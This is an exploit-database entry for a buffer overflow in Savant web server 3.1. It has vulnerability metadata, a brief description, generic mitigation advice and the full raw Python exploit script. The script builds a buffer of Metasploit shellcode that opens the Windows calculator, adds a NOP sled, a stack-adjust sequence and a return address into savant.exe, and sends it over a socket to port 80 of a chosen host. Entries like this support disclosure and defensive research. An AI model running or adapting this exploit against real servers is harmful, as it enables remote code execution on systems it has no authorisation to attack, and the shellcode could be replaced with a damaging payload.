Savant web server 3.1 buffer overflow exploit

vendor:

Web Server

by:

DouBle_Zer0

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Web Server

Affected Version From: 3.1

Affected Version To: 3.1

Patch Exists: NO

Related CWE: Not mentioned

CPE: a:savant:web_server:3.1

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP2, SP3

Not mentioned

Savant web server 3.1 buffer overflow exploit

This is a buffer overflow exploit for Savant web server version 3.1. The exploit takes advantage of a vulnerability discovered by Muts from Offensive Security. It uses a specific payload to execute arbitrary code, in this case, launching the Windows calculator application. The exploit includes a specific sequence of instructions and a return address to execute the code successfully.

Mitigation:

To mitigate this vulnerability, it is recommended to update to the latest version of the Savant web server that includes a patch for this buffer overflow vulnerability. Additionally, implementing proper input validation and boundary checking can help prevent buffer overflow attacks.

Source

Exploit-DB raw data:

#!/usr/bin/python

#Title: Savant web server 3.1 buffer overflow exploit
#Author: DouBle_Zer0 
#Version: 3.1
#Tested on: win xp sp2,3 [en]
#Vulnerability discovered by Muts(offensive security)
#\x83\xc4\x50\x54\xc3 -add esp,50 push esp ret[see the double dance of this in exploit]
#ret=00401D09[pop ebp, ret]


import socket,sys
# win calc.exe [metasploit] (172 byte)
host = sys.argv[1] 
buff = ("\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
buff3 = "\x90" * 30
buff2 = "\x90" * 53
ret =   "\x09\x1D\x40" #savant.exe 
buffr = '\x83\xC4\x50\x54\xc3 /' +buff2+buff3+buff+ret + '\r\n\r\n'
print buffr
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,80))
s.send(buffr)
sys.exit()